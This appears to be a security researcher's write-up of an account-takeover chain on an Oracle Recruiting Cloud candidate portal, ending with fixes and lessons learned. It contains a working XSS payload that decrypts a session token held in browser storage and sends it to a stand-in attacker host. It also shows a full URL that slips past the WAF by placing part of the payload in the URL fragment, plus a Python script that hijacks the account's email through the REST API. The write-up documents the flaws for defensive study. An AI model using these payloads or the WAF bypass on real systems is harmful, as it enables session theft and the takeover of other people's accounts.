Summary
A candidate-facing recruiting portal built on Oracle Recruiting Cloud (Candidate Experience) stored its session token client-side using AES-256-GCM encryption, but kept the decryption key right next to the ciphertext in the same JavaScript-readable browser storage. That made the encryption effectively decorative. A reflected XSS bug on a legacy Oracle WebCenter Content route, combined with a backend email-change flow that authorized purely on client-supplied identity values, allowed an attacker able to execute JavaScript in a victim's authenticated tab to extract their session token, decrypt it, and use it to take over the account by changing its registered email address. A WAF sitting in front of the vulnerable route also had to be worked around to get the full payload to execute.
Root causes
Four separate weaknesses combined into one working exploit chain.
Session secret readable by JavaScript. The real bearer token, sent on every authenticated API call as a custom header, should have lived in an HttpOnly cookie, invisible to page scripts. Instead it was AES-256-GCM encrypted via the WebCrypto API and split across two storage entries: one holding the ciphertext, the other holding the raw key and IV used to produce it. Since both pieces sat in the same JS accessible storage, any script running on the page, including an injected XSS payload, could decrypt it trivially.
Candidate identifier in a non HttpOnly cookie. The candidate's numeric ID was readable directly via document.cookie, giving an attacker the second piece needed for impersonation.
Reflected XSS on a legacy content route. A parameter on an old content management endpoint was reflected into the page without proper sanitization, letting a double quote break out of an attribute context and inject arbitrary script.
Weak server side authorization on a sensitive action. The email change endpoint authorized requests purely on the client supplied access token and candidate ID. There was no additional check, such as re authentication or confirmation through the existing verified email, before the server initiated a change to something as identity defining as the account email.
Exploit chain
Step one, steal the token via XSS. Once the victim was signed in and their profile page had loaded, a payload executed in that same browser tab pulled the two storage values, decrypted them with WebCrypto to recover the access token, read the candidate identifier from the cookie, and exfiltrated both to an attacker controlled endpoint.
(async () => {
const s = sessionStorage.getItem('vt') ? sessionStorage : localStorage;
const a = x => new Uint8Array(JSON.parse(x));
const { k, i } = JSON.parse(atob(JSON.parse(s.getItem('vt_ed'))));
const K = await crypto.subtle.importKey('raw', a(k), { name: 'AES-GCM' }, false, ['decrypt']);
const t = JSON.parse(
new TextDecoder().decode(
await crypto.subtle.decrypt(
{ name: 'AES-GCM', iv: a(i) },
K,
a(JSON.parse(s.getItem('vt')))
)
)
);
const candidateNumber = (document.cookie.split('CANDIDATE_ID_COOKIE=')[1] || '').split(';')[0];
fetch('https://attacker-collector.test/secret?access_code=' + t.accessCode);
fetch('https://attacker-collector.test/secret?candidate_number=' + candidateNumber);
})();
Step two, delivery and the WAF problem. The vulnerable parameter sat behind a WAF. A straightforward single-block payload containing the full script, including the literal string document.cookie, got blocked before it ever reached the application. The response pattern made it obvious the WAF was inspecting the request content and flagging recognizable JavaScript keywords, with document.cookie being one of the specific triggers.
The bypass relied on a basic fact about how URLs work that a request-inspecting WAF cannot do anything about: everything after a # character, the fragment, is parsed entirely by the browser and is never transmitted to the server as part of the HTTP request. A WAF sitting on the network path, or even one running inside the application layer, only ever sees what is actually sent over the wire. The fragment simply never arrives there, so nothing placed after # can be inspected or blocked server-side at all.
The payload was split accordingly. The part that stayed in the query string, inside the injected parameter, contained the token-decryption logic, which didn't trip the filter on its own. The part that read document.cookie, the piece the WAF was actually flagging, was moved entirely into the URL fragment as a separate javascript: URI. The query-string portion ended with a line that read the current fragment and navigated to it:
location = location.hash.split('#')[1];
Setting location to a string that starts with javascript: causes the browser to execute that string as script, exactly like clicking a javascript: link. Since the fragment was never part of the actual request sent to the server, the WAF had nothing to inspect for that half of the payload, and the full script executed in two stages: the first half ran directly from the reflected query parameter, and it then triggered the second half out of the fragment, which contained the cookie read and the second exfiltration call.
The full, two-part payload looked like this (reconstructed, with the collector domain placeholdered):
https://portal.target.test/cs/idcplg?IdcService=GET_DOC_PAGE&Action=GetTemplatePage&Page=STANDARD_QUERY_PAGE%3Ca&flashVideoPlayerSkin=x%22;
(async()=>{
const s=sessionStorage.getItem('vt')?sessionStorage:localStorage,
a=x=>new Uint8Array(JSON.parse(x)),
{k,i}=JSON.parse(atob(JSON.parse(s.getItem('vt_ed')))),
K=await crypto.subtle.importKey('raw',a(k),{name:'AES-GCM'},false,['decrypt']),
t=JSON.parse(new TextDecoder().decode(await crypto.subtle.decrypt({name:'AES-GCM',iv:a(i)},K,a(JSON.parse(s.getItem('vt'))))));
alert(t.accessCode);
fetch('https://attacker-collector.test/secret?access_code='+t.accessCode);
location=location.hash.split('#')[1];
})();
//&Page=x3
#javascript:alert((document.cookie.split('CANDIDATE_ID_COOKIE=')[1]||'').split(';')[0]);fetch('https://attacker-collector.test/secret?candidate_number='+(document.cookie.split('CANDIDATE_ID_COOKIE=')[1]||'').split(';')[0]);
In short: the WAF was only ever checking the bytes that actually reached the server. Moving the flagged substring into a part of the URL that browsers handle locally and never transmit made that check irrelevant for half the payload, while the harmless half still executed normally from the reflected parameter and bridged into the fragment at runtime.
Step three, abuse the stolen values server side. With the access token and candidate ID in hand, a standalone script drove the account takeover directly against the REST API, with no browser involved at this stage.
import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
BASE = "https://portal.target.test"
CANDIDATES_URL = BASE + "/restApi/resources/latest/recruitingCandidates"
TOKENS_URL = BASE + "/restApi/resources/latest/recruitingVerificationTokens"
CX_USERID = "REDACTED-GUID"
parser = argparse.ArgumentParser()
parser.add_argument("-x", "--proxy", help="Proxy, e.g. http://127.0.0.1:8080")
args = parser.parse_args()
PROXIES = {"http": args.proxy, "https": args.proxy} if args.proxy else None
VERIFY = False if args.proxy else True
ACCESS_CODE = input("Access Code: ").strip()
CANDIDATE = input("Candidate Number: ").strip()
EMAIL = input("Email: ").strip()
COMMON_HEADERS = {
"Content-Type": "application/vnd.oracle.adf.resourceitem+json;charset=utf-8",
"Access-Code": ACCESS_CODE,
"Origin": BASE,
"Referer": BASE + "/profile/info",
"User-Agent": "Mozilla/5.0",
"Accept": "*/*",
}
body1 = {
"CandidateNumber": CANDIDATE,
"Action": "REQUEST_EMAIL_VERIFICATION",
"Email": EMAIL,
"SiteNumber": "SITE_ID",
}
headers1 = {
**COMMON_HEADERS,
"Validation-Mode": "Y",
"Rest-Action": "REQUEST_EMAIL_VERIFICATION",
"Cx-Userid": CX_USERID,
}
r1 = requests.post(CANDIDATES_URL, json=body1, headers=headers1, proxies=PROXIES, verify=VERIFY)
print(f"Request 1 -> {r1.status_code}")
print(r1.text)
headers2 = {
**COMMON_HEADERS,
"Rest-Action": "REQUEST_EMAIL_VERIFICATION",
"Cx-Userid": CX_USERID,
}
r2 = requests.post(CANDIDATES_URL, json=body1, headers=headers2, proxies=PROXIES, verify=VERIFY)
print("email sent")
SHORT_CODE = input("Code from email: ").strip()
body3 = {
"ShortCode": SHORT_CODE,
"ChallengeFlag": True,
"Email": EMAIL,
}
r3 = requests.post(TOKENS_URL, json=body3, headers=COMMON_HEADERS, proxies=PROXIES, verify=VERIFY)
print(f"email changed to {EMAIL}")
The script ran in three stages. A first request with a validation mode flag dry ran the email change to confirm it was allowed without actually sending anything. A second, identical request without that flag triggered the server to send a real verification code to the attacker controlled address. A third request submitted that code and completed the change, so the account's registered email was now the attacker's.
At every step, the server's only check was whether the access token paired with the candidate ID looked valid. Nothing confirmed the request actually came from the legitimate owner of that session, which is exactly why a leaked token was enough to fully hijack the flow.
How the client side encryption was broken
This part deserves a close look, because the encryption looked solid on paper: AES-256-GCM, a random IV per encryption, standard WebCrypto calls. That is exactly why it matters. The weakness was never in the cipher itself. AES-GCM is strong. The weakness was in where the key ended up.
When the token was first issued, the frontend generated a brand new AES-GCM key, exported it as raw bytes, and generated a random twelve byte IV for that specific encryption operation. It then encrypted the token object with that key and IV, producing a ciphertext. So far this is correct, standard cryptography.
The problem was the next step. Instead of keeping the key somewhere page JavaScript could not reach, the application wrote two values into browser storage. One held the ciphertext as a JSON array of bytes. The other held a base64 encoded JSON object containing both the raw AES key and the IV used to encrypt that ciphertext. The application effectively locked the data in a safe and then taped the combination to the outside of the safe. Anything that could read that storage, including a script injected through XSS, could read both values.
Walking through the decryption logic line by line: it first checks which storage area holds the active token, since the app could persist it either per tab or across tabs depending on a stay signed in setting. A small helper converts a JSON encoded array of numbers back into raw bytes, since WebCrypto operates on byte arrays rather than JSON text, and the app had chosen to serialize everything as JSON strings before storing it. The key material is unwrapped by parsing the stored string, base64 decoding it, and parsing the resulting JSON to pull out the raw key and IV. That raw key is then imported into a usable CryptoKey object restricted to decryption only. Finally, the stored ciphertext is parsed the same way, converted to bytes, and decrypted using the algorithm name, the IV, and the imported key. The resulting plaintext bytes are decoded as UTF8 text and parsed one more time as JSON, producing the final token object with the access code, candidate number, and a few other session fields.
The flaw in one sentence: the encryption key never needed to leave the server, or at minimum never needed to be stored anywhere page JavaScript could enumerate. Storing the key beside the ciphertext in the same browser storage meant the only thing standing between an attacker and the plaintext token was a handful of standard WebCrypto calls using publicly documented browser APIs, requiring no special privileges beyond ordinary script execution in that origin. The encryption added latency to the attack, not security.
Fix recommendations
Move session secrets out of JavaScript readable storage entirely and into HttpOnly, Secure, SameSite cookies set by the server.
Harden the vulnerable content route against reflected XSS, and don't rely on a WAF as the primary defense, since fragment-based payloads and other client-only techniques can slip past request-inspection entirely.
Never authorize sensitive account mutating actions purely on client supplied identity headers.
Bind verification challenges to the authenticated session, the candidate account, and the specific destination or operation being requested.
Notify the old email address whenever it changes so the legitimate account owner has a chance to react before losing access.
Lessons learned
The real finding here was not one critical bug on its own, it was chaining a years old, low severity looking XSS with a storage pattern that looked secure on the surface but fell apart the moment the location of the key was actually checked, and a WAF that only inspected the request it could actually see. That kind of combination is usually a better use of research time than hunting for one standalone critical. It is worth building a habit of checking, for any application doing client side encryption of tokens, whether the key and the ciphertext are stored together, since that pattern shows up often and almost always means the encryption is decorative rather than protective. It is equally worth remembering that a WAF is a filter on the wire, not on the browser, so anything that can be made to run entirely client side, such as a URL fragment, sits in a blind spot by design. And before writing anything up, it pays to re read every URL and PoC field for leftover live infrastructure, since a redacted write-up only helps if every field was actually redacted.